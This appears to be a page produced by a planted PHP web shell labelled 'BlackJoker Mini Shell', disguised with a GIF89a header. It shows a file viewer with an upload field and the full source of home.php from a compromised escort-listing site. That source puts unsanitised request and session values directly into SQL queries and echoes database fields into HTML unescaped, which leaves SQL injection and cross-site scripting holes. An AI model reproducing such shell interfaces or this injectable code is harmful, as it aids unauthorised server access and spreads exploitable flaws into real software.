GIF89a; Mini Shell

Mini Shell

Direktori : /home/serb/www/
Upload File :
Current File : /home/serb/www/home.php

<?php
 include("lib/common.php");
 include("lib/globals.php");
 include("lib/functions.php");
 include"lib/SimpleImage.php";
 include("lib/pager.php");
 $page="home";
 
  if($_GET['ct'])
 {
	 
     $_SESSION['countryname']=$_GET['ct'];
     global $serverName;
     setcookie('ESORG_COUNTRYNAME', $_GET['ct'], 0, '/', $serverName); // renew cookie
	  $ip=@$_SERVER['REMOTE_ADDR'];
	 
	 	$sql_loc="SELECT * FROM last_location WHERE ip_address='$ip'";
		$res_loc=execute_query($sql_loc);
		$num_loc=mysql_num_rows($res_loc);
		$row_loc=mysql_fetch_array($res_loc);
		if($num_loc>0)
		{
			$update_loc="UPDATE last_location SET location='".$_GET['ct']."',curt_time=now() where ip_address='$ip' ";
			execute_query($update_loc);
		}
		else
		{
			$insert_loc="INSERT INTO last_location(id,ip_address,location,curt_time)Values('','$ip','".$_GET['ct']."',now())";
			execute_query($insert_loc);
		}
    $location = str_replace(".{$serverName}", '', $_SERVER['SERVER_NAME']);
    if ($location != 'www') {
        header('Location: /');
        exit;
    }
 }
 ?>
<? include "includes/header_top.php";?>
<script language="javascript">
	function opencountry(country)
	{
		
			location.href="home.php?ct="+country;
	
	}
</script>
<script>
<!-- hide from non JavaScript Browsers
 <? 	$img=1;
		$sql_image="SELECT * FROM escort_photo where userid='".$row_locescort['user_id']."'";
		$res_image=execute_query($sql_image);
		$num_image=mysql_num_rows($res_image);
		if($num_image>0)
		{
			while($row_image=mysql_fetch_array($res_image))
			 {
				 $image = new SimpleImage();
                 $image->resizeToWidth(400);
                 $image->save('avtar/thumb'.$row_image['id'].'_400.'.$ext);
?>
			Image<?=$img ?>= new Image()
			Image<?=$img ?>="avtar/<?=$row_image['picture']?>";
<?
				
			 }
		}
?>


// End Hiding -->
</script>
<script src="js/aslider.js"></script>
        <style>
            .aslide {
                display: none;
				 height: 255px !important;
				 width:210px !important;
				 margin:0 auto;
				
            }
            .aslide img {
                max-width: 210px !important;
				max-height:255px !important;                
            }
            #slider {
                width: 205px !important;
                height: 255px !important;
				margin:0 auto
				
            }
			
			
            .aslide .text {
                width: 50px;
                margin: 0 auto;
                color: #f8f8f8;
                text-shadow: 0 0 2px #000;
                font-weight: bold;
                font-size: 36px;
               
                text-align: center;
                position: absolute;
                bottom: 30px;
                font-family: sans-serif;
            }
        </style>
 <!--<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"></script>-->
  <script src="js/jquery-1.11.1.js"></script>
<script src="js/jquery.jcarousellite.js"></script>
<body>
 <? include "includes/header.php";?>
<div class="main_bg">   
        <div style="height:32px;"></div>
        <div  style="width:1000px; margin:0 auto;">
				<?php include('includes/header_cities.php'); ?>
        
				<div class="estdetailscnt">
                        <div class="left_contain">        
                           <div class="leftcnt_top"></div>
                           <div class="leftct_mid">
                           		<?php include 'includes/left_midtop.php'; ?>
                                <div style="height:18px;"></div>
                               
                                <div class="leftct_midbot">
                                	<?
										$todaydt=date('Y-m-d');
										$sql_count="SELECT * FROM escort_details WHERE status='a' AND gender!='Male' AND country_name='".$_SESSION['countryname']."'";
										$res_count=execute_query($sql_count);
										$num_count=mysql_fetch_array($res_count);
										if($num_count>0)
										 {
									
									
									
									
										$ii=1;
										
										  $sql_locescort="SELECT * FROM escort_details WHERE status='a' AND gender!='Male' AND ('$todaydt'<=ft_ad_expair) AND ft_ad_status='Yes'  AND country_name='".$_SESSION['countryname']."' ORDER BY RAND() LIMIT 0,6";
										
										$res_locescort=execute_query($sql_locescort);
										$num_locescort=mysql_num_rows($res_locescort);
										
										  while($row_locescort=mysql_fetch_array($res_locescort))
										  {
												increase_impression($row_locescort['id']);
										   ?>
                                            <div class="escortpicsdiv" style="margin-bottom:9px;">
                                            	<div class="vipbdg"><img src="images/vip22.png" style="width:91px; height:123px;" /></div>
                                                <div class="estname">
													<h1><? echo ucfirst($row_locescort['nickname'])?></h1></div>
                                                <div class="estimage">
                                                	
                                                
                                                <? 
													$sql_image="SELECT * FROM escort_photo where userid='".$row_locescort['user_id']."'";
													$res_image=execute_query($sql_image);
													$row_image=mysql_fetch_array($res_image);
													
													$title = preg_replace('/[^\da-zA-Z]/i', '', $row_locescort['slogan']);
													
                                                    if($row_image['picture']!="")
                                                    {
                                                    ?>
                                                         <a href="http://<?php echo getUrlAttrib($row_locescort['escort_city']); ?>.<?php echo $serverName; ?>/<?php echo ucfirst($row_locescort['gender']); ?>Escort/<?= str_replace(' ', '-', $row_locescort['nickname']); ?><?php echo $title ? '/' . $title : null; ?>/<?php echo $row_locescort['id']; ?>"><img src="avatar.php?image=<?=$row_image['picture']?>" /></a>
                                                  <? } else
													  { ?>
													   <a href="http://<?php echo getUrlAttrib($row_locescort['escort_city']); ?>.<?php echo $serverName; ?>/<?php echo ucfirst($row_locescort['gender']); ?>Escort/<?= str_replace(' ', '-', $row_locescort['nickname']); ?><?php echo $title ? '/' . $title : null; ?>/<?php echo $row_locescort['id']; ?>"> <img src="images/no_photo_female.gif" /></a>
													  
													  <? } ?>
                                                      
                                               <?php /*?><div id="slider" class="aslider" data-duration="10" data-hide-controls>
                                                     <? 
													$sql_image="SELECT * FROM escort_photo where userid='".$row_locescort['user_id']."'";
													$res_image=execute_query($sql_image);
													$num_image=mysql_num_rows($res_image);
													if($num_image>0)
													{
													while($row_image=mysql_fetch_array($res_image))
													 {
                                                    $title = preg_replace('/[^\da-zA-Z]/i', '', $row_locescort['slogan']);
                                                    ?>
                                                    
                                                    <div class="aslide" data-duration="4" >
                                                      
                                                    <a href="http://<?php echo getUrlAttrib($row_locescort['escort_city']); ?>.<?php echo $serverName; ?>/<?php echo ucfirst($row_locescort['gender']); ?>Escort/<?= str_replace(' ', '-', $row_locescort['nickname']); ?><?php echo $title ? '/' . $title : null; ?>/<?php echo $row_locescort['id']; ?>"><img src="avtar/<?=$row_image['picture']?>" style="width:210px;" /></a>
                                                       
                                                        
                                                    </div>  
                                                    <? } 
													 }else
													 {?>
														 <div class="aslide" data-duration="4" >
                                                       <a href="http://<?php echo getUrlAttrib($row_locescort['escort_city']); ?>.<?php echo $serverName; ?>/<?php echo ucfirst($row_locescort['gender']); ?>Escort/<?= str_replace(' ', '-', $row_locescort['nickname']); ?><?php echo $title ? '/' . $title : null; ?>/<?php echo $row_locescort['id']; ?>"><img src="images/no_photo_female.gif"  /></a>
                                                        
                                                    </div>  
														 
													<? }
													
													?>
                                                
                                                </div><?php */?> 
                                                      
                                                      
                                                
                                                </div>
                                                <?
													$sql_statesc="select * from states where name='".$row_locescort['escort_state']."'";
													$res_states=execute_query($sql_statesc);
													$row_statees=mysql_fetch_array($res_states);
												
												?>
                                                <div class="estlocation"><?=$row_locescort['escort_city']?> ,<?=$row_statees['short_name']?>
                                                	<?
                                                            	if($row_locescort['online_img']!=""){
															?>
                                                         <span style="float:right;"><img src="images/online.gif" width="80" height="20" /></span>
                                                            <? } ?>
                                                
                                                </div>
                                            
                                            </div>
                                            <?
                                                                                  
                                     	  }  ?> 
									  		
                                            
									
									
									 <!--///////////Regular ad//////// -->
									
									 <?  
									 	 $todaydt=date('Y-m-d');
									 	$page=$_GET["page"];
										// get the pager class implemented
										//$count_sql="select count(*) tot from escort_details WHERE status='a' AND gender!='Male' AND ft_ad_status='' And ('$todaydt'<=ft_ad_expair) AND country_name='".$_SESSION['countryname']."'";
										$count_sql="select count(*) tot from escort_details WHERE status='a' AND gender!='Male' AND country_name='".$_SESSION['countryname']."'";
										
										//print $count_sql;
										$count_rs=execute_query($count_sql);
										$count_row=mysql_fetch_array($count_rs);
										$count=$count_row['tot'];
										if($count > 0)
										{
										//print $num_locescort;
										$addnumber=6-$num_locescort;
										$limit = 6 + $addnumber; 
										// work out the pager values 
										$pager  = Pager::getPagerData($count, $limit, $page);  
										$offset = $pager->offset;  
										$limit  = $pager->limit;  
										$page   = $pager->page; 
										} 
										if($count > 0)
										{
										  $sql="SELECT * FROM escort_details WHERE status='a' AND gender!='Male' AND country_name='".$_SESSION['countryname']."' order by id DESC limit $offset,$limit";
										}
										else
										{
										  $sql="SELECT * FROM escort_details WHERE status='a' AND gender!='Male' AND country_name='".$_SESSION['countryname']."' order by id DESC";
										}  
									 $rs=execute_query($sql);
									 $prod_cnt=0;
									 while($rs2=mysql_fetch_array($rs))
									 {
									   increase_impression($rs2['id']);
									   $item[$prod_cnt][0]=$rs2['id'];   
									   $item[$prod_cnt][1]=$rs2['nickname'];
									   $item[$prod_cnt][2]=$rs2['escort_city'];
									   $item[$prod_cnt][3]=$rs2['tel_national'];
                                       $item[$prod_cnt][4]=$rs2['slogan'];
                                       $item[$prod_cnt][5]=$rs2['gender'];
									   $item[$prod_cnt][6]=$rs2['online_img'];
									   $item[$prod_cnt][7]=$rs2['escort_state'];
									   
									  
									   $prod_cnt++;
									 }
									?>
											
										
										
										<?php /*?>  $sql_locescort="SELECT * FROM escort_details WHERE status='a' AND ft_ad_status='' AND country_name='".$_SESSION['countryname']."'";
										
										$res_locescort=execute_query($sql_locescort);
										$num_locescort=mysql_num_rows($res_locescort);
										if($num_locescort>0)
										{
										  while($row_locescort2=mysql_fetch_array($res_locescort))
										  {
												increase_impression($row_locescort['id']);
										   ?><?php */?>
                                           
                                            <? 
										$ii=1;
										if($prod_cnt > 0) { 
													for($i=0;$i<$prod_cnt;$i++)
												 {
												  ?> 
                                            <div class="escortpicsdiv" style="margin-bottom:9px;">
                                            
                                                <div class="estname">
													<h1><? echo ucfirst($item[$i][1])?></h1></div>
                                                <div class="estimage">
                                                
                                                <? 
													$sql_image="SELECT * FROM escort_photo where postid='".$item[$i][0]."'";
													$res_image=execute_query($sql_image);
													$row_image=mysql_fetch_array($res_image);
													$title = preg_replace('/[^\da-zA-Z]/i', '', $item[$i][4]);
                                                    if($row_image['picture']!="")
                                                    {
                                                        /* ?>
                                                        <a href="escort-service-dtls.php?name=<?=$item[$i][1]?>&phone=<?=$item[$i][3]?>&cityname=<?=$item[$i][2]?>"><img src="avtar/<?=$row_image['picture']?>" style="width:210px; height:240px;" /></a>
                                                        <? */ 
                                                    ?>
                                                    <a href="http://<?php echo getUrlAttrib($item[$i][2]); ?>.<?php echo $serverName; ?>/<?php echo ucfirst($item[$i][5]); ?>Escort/<?= str_replace(' ', '-', $item[$i][1]); ?><?php echo $title ? '/' . $title : null; ?>/<?php echo $item[$i][0]; ?>"><img src="avatar.php?image=<?=$row_image['picture']?>" /></a>
                                                    <?php } else { /* ?>
                                                        <a href="escort-service-dtls.php?name=<?=$item[$i][1]?>&phone=<?=$item[$i][3]?>&cityname=<?=$item[$i][2]?>"> <img src="images/no_photo_female.gif" style="width:210px; height:240px;" /></a>
                                                        <? */ ?>
                                                        <a href="http://<?php echo getUrlAttrib($item[$i][2]); ?>.<?php echo $serverName; ?>/<?php echo ucfirst($item[$i][5]); ?>Escort/<?= str_replace(' ', '-', $item[$i][1]); ?><?php echo $title ? '/' . $title : null; ?>/<?php echo $item[$i][0]; ?>"><img src="images/no_photo_female.gif" /></a>
                                                    <?php } ?>
                                                
                                                </div>
                                                <?
													$sql_statenc="select * from states where name='".$item[$i][7]."'";
													$res_statens=execute_query($sql_statenc);
													$row_stateens=mysql_fetch_array($res_statens);
												
												?>
                                                <div class="estlocation"><?=$item[$i][2]?> ,<?=$row_stateens['short_name']?>
                                                
                                                	<?
                                                        if($item[$i][6]!=""){
															?>
                                                         <span style="float:right;"><img src="images/online.gif" width="80" height="20" /></span>
                                                    <? } ?>
                                                </div>
                                            
                                            </div>
                                            <?
                                              
                                    
                                     	  }  }?> 
									  		<br class="spacer" />
                                            <br/>
                                            <div style="width:650px; margin:0 auto;">
												<? 
                                              if($prod_cnt > 0)
                                              {
                                            ?>
                                            <table border="0" cellpadding="0" cellspacing="0"  style="margin:0 auto;" align="center">
                                              <!-- Paging display Start Table 4-->
                                              <tbody>
                                                <tr>
                                                  <td width="158" >
                                                     <?        if ($page == 1) // this is the first page - there is no previous page 
                                        
                                                                 echo "&nbsp;";  
                                        
                                                                        else            // not the first page, link to the previous page 
                                                                         echo "<a href=\"home?page=" . ($page - 1)  ."\"class=\"footer-link\" style='color:#ff9131; text-decoration:none;'><img src='images/escort_prev.png' /></a>&nbsp;"; 
                                        
                                                  ?>                                        
                                                 </td>                                        
                                                    <td width="7"></td>
                                                         <td style="display:inline;">
                                                    <?
                                                        for ($i = 1; $i <= $pager->numPages; $i++) {  
                                                            echo "";  
                                                            if ($i == $pager->page)  
                                                                echo "<div class='footeraccttyy'>".$page."</div>";  
                                                            else  
                                                            //////* link page name will change for different pages Ex:list_banner.php*/////
                                                                echo "<a href=\"home?page=$i\"class=\"footer-link22\"><div class='footeraccttyy_inac'>$i</div></a> ";  
                                                                } ?>
                                                  </td>
                                                        
                                                    <td width="7"></td>
                                        
                                                  <td width="158" align="center" valign="middle"> 
                                                    <?  if ($page == $pager->numPages) // this is the last page - there is no next page 
                                                             echo "&nbsp;";  
                                                         else        // not the last page, link to the next page 
                                                                               
                                                             echo "<a href=\"home?page=" . ($page + 1) ."\"class=\"footer-link\" style='color:#ff9131; text-decoration:none;'>&nbsp;<img src='images/escort_next.png' /></a>";  
                                        
                                                         ?>
                                        
                                                 </td>
                                                </tr>
                                              </tbody>
                                            </table>
                                            <? 
                                              }
                                              else
                                              {
                                            ?>
                                               &nbsp;
                                            <? 
                                              }
                                           
										?>
                                        </div>
                                          <?  
                                            
                                   
                                   }else {?>
                                        	<div style="text-align:center; width:550px; margin:0 auto;">
                                            	<p class="noescort">
                                                	Sorry right now ,there are no escorts in <?=$row_country['country']?> available.
                                                </p>
                                            
                                            </div>
                                    	<? } ?>
                                
                                </div>
                                <br class="spacer" />                           
                           </div>
                           <div class="leftct_foot"></div>
        
                       </div> 
        
                   
        
                    <!--/*****start right_contain*****/-->
        
                   		 <div class="right_contain">
        
                            	<? include "includes/right_contain.php";?>
                       
        
                   		 </div><!--/*****end right_contain*****/-->
                <br class="spacer" />
                </div>
                <br/>
        </div>
   </div>
<!--</div>-->
<? include "includes/footer.php";?>

./BlackJoker Mini Shell 1.0